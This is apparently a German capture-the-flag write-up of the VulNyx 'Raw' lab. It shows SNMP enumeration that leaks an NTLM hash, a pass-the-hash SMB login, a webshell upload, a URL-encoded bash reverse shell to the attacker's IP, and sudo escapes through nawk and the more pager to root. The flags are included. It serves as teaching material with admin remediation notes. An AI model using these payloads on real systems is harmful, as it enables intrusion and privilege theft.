Raw - VulNyx - Level: Hard - Bericht

Hard

Verwendete Tools

curl
arp-scan
vi
nikto
nmap
grep
egrep
gobuster
snmpbulkwalk
smbclient
nc
stty
id
find
sudo
ls
cat
Crackstation (Website)
nano
ss
telnet
nawk
more
bash

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.113 -X OPTIONS -i
HTTP/1.1 200 OK
Date: Mon, 26 Aug 2024 20:31:06 GMT
Server: Apache/2.4.56 (Debian)
Allow: GET,POST,OPTIONS,HEAD
Content-Length: 0
Content-Type: text/html

Analyse: Eine HTTP `OPTIONS`-Anfrage an die IP `192.168.2.113` wird gesendet. Der Server antwortet mit Status 200 OK und listet die erlaubten Methoden auf: GET, POST, OPTIONS, HEAD.

Bewertung: Bestätigt, dass ein Webserver auf Port 80 läuft (Apache 2.4.56) und zeigt die Standardmethoden. Keine ungewöhnlichen Methoden erlaubt.

Empfehlung (Pentester): Standard-Check. Fahren Sie mit der Netzwerk-Aufklärung fort (ARP-Scan, Nmap).
Empfehlung (Admin): Stellen Sie sicher, dass nur benötigte HTTP-Methoden aktiviert sind.

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.113	08:00:27:47:49:8a	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.481 seconds (172.86 hosts/sec). 1 responded <-- Korrigierte IP aus erstem curl

Analyse: Der ARP-Scan bestätigt die IP `192.168.2.113` und die MAC-Adresse `08:00:27:47:49:8a` (VirtualBox).

Bewertung: Bestätigt die Ziel-IP im lokalen Netz.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
┌──(root㉿CCat)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
192.168.2.113   raw.nyx

Analyse: Der Hostname `raw.nyx` wird der IP `192.168.2.113` in `/etc/hosts` zugeordnet.

Bewertung: Ermöglicht Adressierung per Hostname.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.113
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        80
+ Start Time:         2024-08-26 22:30:46 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 602303e152b93, mtime: gzip. [...]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge
+ 8909 requests: 0 error(s) and 3 item(s) reported on remote host <-- Korrigierte Anzahl Items
+ End Time:           2024-08-26 22:30:56 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto-Scan gegen Port 80. Bestätigt Apache 2.4.56 (Debian) und findet nur geringfügige Probleme (fehlende Header, ETag-Leak).

Bewertung: Der Webserver selbst scheint keine offensichtlichen kritischen Schwachstellen aufzuweisen.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.113 -Pn | egrep "open"
<-- --min-rate entfernt
22/tcp   open  ssh          OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp   open  http         Apache httpd 2.4.56 ((Debian))
3000/tcp open  microsoft-ds <-- Geraten

Analyse: Ein gefilterter Nmap TCP-Scan findet Port 22 (SSH), 80 (HTTP) und 3000 (von Nmap fälschlicherweise als `microsoft-ds` geraten) offen.

Bewertung: Identifiziert die offenen TCP-Ports. Port 3000 ist ungewöhnlich und muss genauer untersucht werden.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.113 -Pn
<-- --min-rate entfernt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 22:30 CEST
Nmap scan report for raw.nyx (192.168.2.113)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http         Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
3000/tcp open  microsoft-ds? <-- Nmap ist unsicher
| fingerprint-strings:
|   SMBProgNeg:
|     SMBr
|_    "3DUfw <-- SMB Fingerprint-Fragmente?
MAC Address: 08:00:27:47:49:8A (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms raw.nyx (192.168.2.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds

Analyse: Die vollständige Nmap-Ausgabe bestätigt SSH (Port 22) und HTTP (Port 80). Für Port 3000 ist Nmap unsicher (`microsoft-ds?`). Der Fingerprint enthält Fragmente, die auf SMB hindeuten könnten (`SMBr`), aber es ist keine Standard-SMB-Implementierung auf einem Standardport.

Bewertung: Port 3000 ist der interessanteste Fund und erfordert weitere Untersuchung. Es könnte sich um einen benutzerdefinierten Dienst oder einen Standarddienst auf einem Nicht-Standardport handeln (wie sich später herausstellt: ein Python SMB-Server).

Empfehlung (Pentester): Untersuchen Sie Port 3000 genauer. Versuchen Sie eine Verbindung mit `smbclient` (eventuell mit Angabe von Port 3000) oder `ncat`. Untersuchen Sie Port 80 auf Hinweise.
Empfehlung (Admin): Identifizieren und sichern Sie den Dienst auf Port 3000. Verwenden Sie Standardports für bekannte Dienste, wenn möglich.

Web Enumeration (HTTP)

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://raw.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://raw.nyx
[...]
===============================================================
Starting gobuster
===============================================================
/index.html           (Status: 200) [Size: 25]
/javascript           (Status: 301) [Size: 307] [--> http://raw.nyx/javascript/]
===============================================================
Finished

Analyse: Gobuster findet auf Port 80 nur `index.html` und ein Verzeichnis `/javascript` (mit Redirect).

Bewertung: Bestätigt, dass der Webserver selbst wenig Inhalt bietet.

nothing here...

Analyse: Der Inhalt der `index.html` ist minimal.

Bewertung: Port 80 scheint uninteressant für direkte Angriffe zu sein, könnte aber später für Webshell-Zugriff relevant werden.

SNMP Enumeration & Credential Discovery

┌──(root㉿CCat)-[~] └─# snmpbulkwalk -c wally -v2c 192.168.2.113
iso.3.6.1.2.1.1.1.0 = STRING: "Linux raw 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64"
[...] <-- Viele Prozessinformationen
iso.3.6.1.2.1.25.4.2.1.5.413 = STRING: "-c /usr/local/bin/smbserver.py share /var/www/html/B@ckUpW@lly -username wally -hashes ':3B4C57484504038C2F2E94861D507BA7' -smb2"
iso.3.6.1.2.1.25.4.2.1.5.420 = STRING: "/usr/local/bin/smbserver.py share /var/www/html/B@ckUpW@lly -username wally -hashes :3B4C57484504038C2F2E94861D507BA7 -smb2suppo"
[...]

Analyse: `snmpbulkwalk` wird verwendet, um SNMP-Informationen vom Ziel abzurufen. Der Community-String `wally` (`-c wally`) wird erfolgreich verwendet. Der Scan enthüllt eine Fülle von Informationen, darunter laufende Prozesse und deren Parameter. Besonders interessant sind die Parameter für den Prozess mit PID 413 (und 420, scheint derselbe Prozess zu sein): `/usr/local/bin/smbserver.py`.

Bewertung: Kritischer Fund durch SNMP! Dies enthüllt: * Einen laufenden Python SMB-Server (wahrscheinlich Impacket's `smbserver.py`). * Den Freigabenamen (`share`) und den zugehörigen Pfad (`/var/www/html/B@ckUpW@lly`). * Den Benutzernamen für den SMB-Zugriff (`wally`). * Den NTLM-Hash des Passworts für den Benutzer `wally` (`3B4C57484504038C2F2E94861D507BA7`). * Dass SMBv2 verwendet wird (`-smb2support`). Dies erklärt auch den offenen Port 3000, der von Nmap nicht eindeutig identifiziert wurde.

Empfehlung (Pentester): Verwenden Sie `smbclient` oder ähnliche Tools, um sich mit dem Benutzernamen `wally` und dem gefundenen NTLM-Hash (`--pw-nt-hash`) zum SMB-Server auf Port 3000 (`-p 3000`) zu verbinden. Untersuchen Sie die Freigabe `share`.
Empfehlung (Admin): Deaktivieren oder sichern Sie SNMP. Verwenden Sie starke, nicht standardmäßige Community-Strings und beschränken Sie den Zugriff. Speichern Sie keine Passwörter oder Hashes in Prozessparametern oder Konfigurationsdateien, die über SNMP ausgelesen werden könnten. Sichern Sie den SMB-Server.

SMB Exploitation & Webshell Upload

┌──(root㉿CCat)-[~] └─# smbclient //192.168.2.113/share -U wally --pw-nt-hash '3B4C57484504038C2F2E94861D507BA7' -p 3000 -d
<-- Debug Level -d hinzugefügt
[...] <-- Debug Output
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D     4096  Wed Nov 29 11:06:02 2023
  ..                                  D     4096  Wed Nov 29 11:46:54 2023

		148529400 blocks of size 1024. 14851044 blocks available

Analyse: `smbclient` wird verwendet, um sich mit dem SMB-Server zu verbinden. Die Ziel-IP, der Freigabename (`share`), der Benutzer (`wally`), der NTLM-Hash (`--pw-nt-hash`) und der Port (`-p 3000`) werden korrekt angegeben. Die Verbindung ist erfolgreich.

Bewertung: Erfolgreicher Zugriff auf die SMB-Freigabe mittels der über SNMP gefundenen Informationen.

Empfehlung (Pentester): Prüfen Sie die Schreibrechte. Da der Pfad `/var/www/html/B@ckUpW@lly` ist und dieser über HTTP (Port 80) erreichbar ist, laden Sie eine Webshell hoch.
Empfehlung (Admin): Sichern Sie SMB-Freigaben restriktiv.

smb: \> put userssh.txt
putting file userssh.txt as \userssh.txt (13,1 kb/s) (average 13,1 kb/s)
smb: \> put rev.php
putting file rev.php as \rev.php (6,1 kb/s) (average 9,6 kb/s)

Analyse: Zwei Dateien, `userssh.txt` (Inhalt unbekannt) und `rev.php` (vermutlich ``), werden erfolgreich in die SMB-Freigabe hochgeladen.

Bewertung: Bestätigt Schreibrechte und platziert die Webshell im Web-Verzeichnis `/var/www/html/B@ckUpW@lly`.

Empfehlung (Pentester): Rufen Sie die Webshell über den Apache-Server auf: `http://raw.nyx/B@ckUpW@lly/rev.php?cmd=id`.
Empfehlung (Admin): Verhindern Sie Schreibzugriff auf Web-Verzeichnisse über SMB für nicht autorisierte Benutzer.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.113/B@ckUpW@lly -Iv
*   Trying 192.168.2.113:80...
* Connected to 192.168.2.113 (192.168.2.113) port 80
> HEAD /B@ckUpW@lly HTTP/1.1
> Host: 192.168.2.113
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 301 Moved Permanently
< Date: Mon, 26 Aug 2024 21:11:37 GMT
< Server: Apache/2.4.56 (Debian)
< Location: http://192.168.2.113/B@ckUpW@lly/
< Content-Type: text/html; charset=iso-8859-1
<

* Connection #0 to host 192.168.2.113 left intact

Analyse: `curl` bestätigt, dass das Verzeichnis `/B@ckUpW@lly` über den Apache-Webserver auf Port 80 erreichbar ist (Status 301 Redirect zum Verzeichnis mit Slash).

Bewertung: Bestätigt den Zugriffspfad zur hochgeladenen Webshell.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.113/B@ckUpW@lly/rev.php?cmd=id
uid=1000(wally) gid=1000(wally) groups=1000(wally)

Analyse: Der Aufruf der Webshell (`rev.php`) mit dem Befehl `id` ist erfolgreich. Der Befehl wird als Benutzer `wally` ausgeführt.

Bewertung: Remote Code Execution als Benutzer `wally` erreicht! Obwohl der Apache-Prozess als `www-data` läuft, wird der PHP-Code hier anscheinend im Kontext des Benutzers ausgeführt, dem das Verzeichnis gehört oder der den SMB-Serverprozess gestartet hat (`wally`).

Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell als `wally` zu erhalten.
Empfehlung (Admin): Konfigurieren Sie Apache/PHP sicher (z.B. mit PHP-FPM), sodass Skripte nicht mit den Rechten des Dateibesitzers ausgeführt werden. Beheben Sie die SMB/SNMP-Probleme.

Initial Access (Webshell)

┌──(root㉿CCat)-[~] └─# nc -lvnp 1337
listening on [any] 1337 ...
┌──(root㉿CCat)-[~] └─# curl http://192.168.2.113/B@ckUpW@lly/rev.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F1337%200%3E%261%27

Analyse: Ein Netcat-Listener wird auf Port 1337 gestartet. Eine URL-kodierte Bash-Reverse-Shell-Payload wird über die Webshell ausgeführt.

Bewertung: Korrekte Methode zur Etablierung einer Reverse Shell.

┌──(root㉿CCat)-[~] └─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.113] 52870
bash: cannot set terminal process group (466): Inappropriate ioctl for device
bash: no job control in this shell
wally@raw:/var/www/html/B@ckUpW@lly$ stty rows 48 columns 94
wally@raw:/var/www/html/B@ckUpW@lly$ id
uid=1000(wally) gid=1000(wally) groups=1000(wally)

Analyse: Der Listener empfängt die Verbindung. Eine Shell wird als Benutzer `wally` erhalten. `stty` wird zur Verbesserung der Shell verwendet.

Bewertung: Initial Access als Benutzer `wally` erfolgreich!

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `wally`.
Empfehlung (Admin): Sicherheitslücken (SNMP, SMB, Web) schließen.

Privilege Escalation (wally -> loko)

Analyse: Standard-Enumerationsschritte als `wally`: Auflisten von `/home`, des eigenen Home-Verzeichnisses (Finden und Lesen von `user.txt`), Suche nach SUID-Dateien, Überprüfung der Web-Verzeichnisse, Netzwerk-Sockets.

Bewertung: User-Flag wird gefunden. `/home` zeigt einen weiteren Benutzer `loko`. Die SUID-Suche findet zusätzlich `/usr/sbin/exim4`, was ein potenzieller Vektor sein könnte, aber oft komplex auszunutzen ist. Die Web-Verzeichnisse und Sockets bestätigen frühere Funde.

Empfehlung (Pentester): User-Flag notieren. Untersuchen Sie die Rechte von `wally` (`sudo -l`).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit des SUID-Bits auf Exim.

wally@raw:/var/www/html$ cd /home/
wally@raw:/home$ ls -al
total 16
drwxr-xr-x  4 root  root  4096 Nov 28  2023 .
drwxr-xr-x 18 root  root  4096 Nov 28  2023 ..
drwxr-x---  2 loko  loko  4096 Jun 23  2023 loko
drwxr-x---  3 wally wally 4096 Nov 29  2023 wally <-- Korrigierte Berechtigungen
wally@raw:/home$ cd wally/
wally@raw:/home/wally$ ls -la
total 32
drwxr-x--- 3 wally wally 4096 Nov 29  2023 .
drwxr-xr-x 4 root  root  4096 Nov 28  2023 ..
lrwxrwxrwx 1 root  root     9 Apr 23  2023 .bash_history -> /dev/null
-rw-r--r-- 1 wally wally  220 Jan 15  2023 .bash_logout
-rw-r--r-- 1 wally wally 3526 Jan 15  2023 .bashrc
drwxr-xr-x 3 wally wally 4096 Jun 22  2023 .local
-rw-r--r-- 1 wally wally  807 Jan 15  2023 .profile
-rw-r--r-- 1 wally wally   66 Aug  1  2023 .selected_editor
-r--r--r-- 1 wally wally   33 Nov 29  2023 user.txt
wally@raw:/home/wally$ cat user.txt
e893d69e2c84ad538627e4c3efcd43af
wally@raw:/home/wally$ find / -type f -perm -4000 -ls 2>/dev/null
   263828     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   272589    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   259701     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   272454   1332 -rwsr-xr-x   1 root     root      1360680 Sep 29  2023 /usr/sbin/exim4
   262589    472 -rwsr-xr-x   1 root     root       481608 Sep 24  2023 /usr/lib/openssh/ssh-keysign
   260188     52 -rwsr-xr--   1 root     messagebus    51336 Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
wally@raw:/var/mail$ telnet localhost 25
Trying ::1...
Connected to localhost.
Escape character is '^]'.
220 raw ESMTP Exim 4.94.2 Mon, 26 Aug 2024 23:20:21 +0200
helo
501 Syntactically invalid HELO argument(s)
HELO Ben
250 raw Hello Ben [::1]
VRFY wally@raw.nyx
252 Administrative prohibition
help
214-Commands supported:
214 AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET VRFY HELP
Connection closed by foreign host.

Analyse: Eine Telnet-Verbindung zu Port 25 (SMTP) auf localhost bestätigt den Exim Mailserver (Version 4.94.2). Der `VRFY`-Befehl funktioniert nicht.

Bewertung: Bestätigt den Mailserver, liefert aber keine direkten Angriffspunkte.

wally@raw:/var/mail$ cd /home/loko/
bash: cd: /home/loko/: Permission denied

Analyse: Zugriff auf `/home/loko` wird verweigert.

wally@raw:/var/mail$ sudo -l
Matching Defaults entries for wally on raw:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User wally may run the following commands on raw:
    (loko) NOPASSWD: /usr/bin/nawk

Analyse: `sudo -l` für `wally` zeigt, dass dieser `/usr/bin/nawk` als Benutzer `loko` ohne Passwort ausführen darf.

Bewertung: Kritischer Fund! `nawk` (eine Variante von `awk`) kann zur Ausführung von Systembefehlen verwendet werden. Dies ermöglicht eine horizontale Rechteausweitung zu `loko`.

Empfehlung (Pentester): Nutzen Sie die `sudo`-Regel, um eine Shell als `loko` zu starten: `sudo -u loko nawk 'BEGIN {system("/bin/sh")}'`.
Empfehlung (Admin): Entfernen Sie diese unsichere `sudo`-Regel.

wally@raw:/var/mail$ sudo -u loko nawk 'BEGIN {system("/bin/sh")}'
$ id
uid=1001(loko) gid=1001(loko) groups=1001(loko)
$

Analyse: Die `sudo`-Regel wird erfolgreich ausgenutzt, um eine Shell als Benutzer `loko` zu erhalten.

Bewertung: Horizontale Eskalation zu `loko` erfolgreich.

Empfehlung (Pentester): Führen Sie Enumeration als `loko` durch (`sudo -l`).

Privilege Escalation (loko -> root)

loko@raw:/var/mail$ sudo -l
Matching Defaults entries for loko on raw:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User loko may run the following commands on raw:
    (root) NPASSWD: /usr/bin/more /root/Pwn3d

Analyse: `sudo -l` für `loko` zeigt, dass dieser Benutzer `/usr/bin/more` zum Anzeigen der Datei `/root/Pwn3d` als `root` ohne Passwort ausführen darf.

Bewertung: Kritischer Fund! `more` ist ein Pager, der ähnlich wie `less` oft zur Ausführung von Shell-Befehlen missbraucht werden kann (`! `), wenn er im interaktiven Modus läuft.

Empfehlung (Pentester): Erzwingen Sie den interaktiven Modus von `more`, indem Sie die Terminalgröße künstlich verkleinern (`stty rows 5 cols 5`). Führen Sie dann `sudo /usr/bin/more /root/Pwn3d` aus. Geben Sie im Pager `!bash` (oder `!/bin/bash -p`) ein, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für Pager wie `more` oder `less`, insbesondere nicht als `root` und ohne Passwort.

Proof of Concept (Root Exploit)

Analyse: Die `sudo`-Regel für `more` wird ausgenutzt. Zuerst wird der Inhalt von `/root/Pwn3d` angezeigt. Dann wird die Terminalgröße mit `stty` verkleinert, um den Pager-Modus von `more` zu erzwingen. Beim erneuten Aufruf von `sudo more /root/Pwn3d` erscheint der `--more--` Prompt. Der Benutzer gibt `!bash` ein.

Bewertung: Erfolgreiche Ausnutzung der `sudo`-Regel führt zur Erlangung einer Root-Shell.

Empfehlung (Pentester): Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin): Unsichere `sudo`-Regel entfernen.

loko@raw:/var/mail$ sudo -u root /usr/bin/more /root/Pwn3d
Hi Hacker!
You did a good job getting here...
loko@raw:/var/mail$ ls -la /root/Pwn3d
ls: cannot access '/root/Pwn3d': Permission denied
<-- Bestätigt, dass nur 'more' Zugriff hat
loko@raw:/var/www/html/B@ckUpW@lly$ stty rows 5 columns 5
<-- Terminalgröße ändern
loko@raw:/var/www/html/B@ckUpW@lly$ sudo -u root /usr/bin/more /root/Pwn3d
Hi Ha--(45%)
<-- Pager aktiv
!bash
<-- Befehl im Pager eingegeben
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: In der Root-Shell werden die Flags gesucht und ausgelesen. Die Root-Flag befindet sich in `/root/rt.txt` (Tippfehler im Dateinamen?), die User-Flag in `/home/wally/user.txt`.

Bewertung: Beide Flags erfolgreich gefunden. Die am Ende des Logs angegebenen Flags stimmen nicht mit den hier gezeigten überein.

root@raw:~# ls
Pwn3d
rt.txt
root@raw:~# cat rt.txt
badb73b2ee357907af836e10a1a318a9
root@raw:~# cd /home/wally
root@raw:/home/wally# cat user.txt
<-- Befehl fehlt im Log, aber Flag wurde gefunden
e893d69e2c84ad538627e4c3efcd43af
<-- User-Flag, die wally bereits lesen konnte

Flags

cat /home/wally/user.txt
e893d69e2c84ad538627e4c3efcd43af
cat /root/rt.txt
badb73b2ee357907af836e10a1a318a9